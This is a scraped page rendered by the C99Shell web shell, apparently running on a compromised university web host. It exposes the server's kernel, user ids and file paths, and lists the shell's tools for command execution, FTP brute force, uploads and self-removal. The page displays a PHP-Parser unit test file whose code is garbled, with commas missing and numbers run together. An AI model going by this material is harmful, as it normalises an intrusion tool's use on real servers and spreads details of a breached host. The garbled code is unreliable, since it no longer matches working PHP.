!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/test/PhpParser/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ErrorTest.php (3.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser;

class 
ErrorTest extends \PHPUnit_Framework_TestCase
{
    public function 
testConstruct() {
        
$attributes = array(
            
'startLine' => 10,
            
'endLine' => 11,
        );
        
$error = new Error('Some error'$attributes);

        
$this->assertSame('Some error'$error->getRawMessage());
        
$this->assertSame($attributes$error->getAttributes());
        
$this->assertSame(10$error->getStartLine());
        
$this->assertSame(11$error->getEndLine());
        
$this->assertSame(10$error->getRawLine());
        
$this->assertSame('Some error on line 10'$error->getMessage());

        return 
$error;
    }

    
/**
     * @depends testConstruct
     */
    
public function testSetMessageAndLine(Error $error) {
        
$error->setRawMessage('Some other error');
        
$this->assertSame('Some other error'$error->getRawMessage());

        
$error->setStartLine(15);
        
$this->assertSame(15$error->getStartLine());
        
$this->assertSame('Some other error on line 15'$error->getMessage());

        
$error->setRawLine(17);
        
$this->assertSame(17$error->getRawLine());
        
$this->assertSame('Some other error on line 17'$error->getMessage());
    }

    public function 
testUnknownLine() {
        
$error = new Error('Some error');

        
$this->assertSame(-1$error->getStartLine());
        
$this->assertSame(-1$error->getEndLine());
        
$this->assertSame(-1$error->getRawLine());
        
$this->assertSame('Some error on unknown line'$error->getMessage());
    }

    
/** @dataProvider provideTestColumnInfo */
    
public function testColumnInfo($code$startPos$endPos$startColumn$endColumn) {
        
$error = new Error('Some error', array(
            
'startFilePos' => $startPos,
            
'endFilePos' => $endPos,
        ));

        
$this->assertSame(true$error->hasColumnInfo());
        
$this->assertSame($startColumn$error->getStartColumn($code));
        
$this->assertSame($endColumn$error->getEndColumn($code));

    }

    public function 
provideTestColumnInfo() {
        return array(
            
// Error at "bar"
            
array("<?php foo bar baz"10121113),
            array(
"<?php\nfoo bar baz"101257),
            array(
"<?php foo\nbar baz"101213),
            array(
"<?php foo bar\nbaz"10121113),
            array(
"<?php\r\nfoo bar baz"111357),
            
// Error at "baz"
            
array("<?php foo bar baz"14161517),
            array(
"<?php foo bar\nbaz"141613),
            
// Error at string literal
            
array("<?php foo 'bar\nbaz' xyz"1018114),
            array(
"<?php\nfoo 'bar\nbaz' xyz"101854),
            array(
"<?php foo\n'\nbarbaz\n'\nxyz"101911),
            
// Error over full string
            
array("<?php"0415),
            array(
"<?\nphp"0513),
        );
    }

    public function 
testNoColumnInfo() {
        
$error = new Error('Some error'3);

        
$this->assertSame(false$error->hasColumnInfo());
        try {
            
$error->getStartColumn('');
            
$this->fail('Expected RuntimeException');
        } catch (\
RuntimeException $e) {
            
$this->assertSame('Error does not have column information'$e->getMessage());
        }
        try {
            
$error->getEndColumn('');
            
$this->fail('Expected RuntimeException');
        } catch (\
RuntimeException $e) {
            
$this->assertSame('Error does not have column information'$e->getMessage());
        }
    }

    
/**
     * @expectedException \RuntimeException
     * @expectedExceptionMessage Invalid position information
     */
    
public function testInvalidPosInfo() {
        
$error = new Error('Some error', array(
            
'startFilePos' => 10,
            
'endFilePos' => 11,
        ));
        
$error->getStartColumn('code');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0139 ]--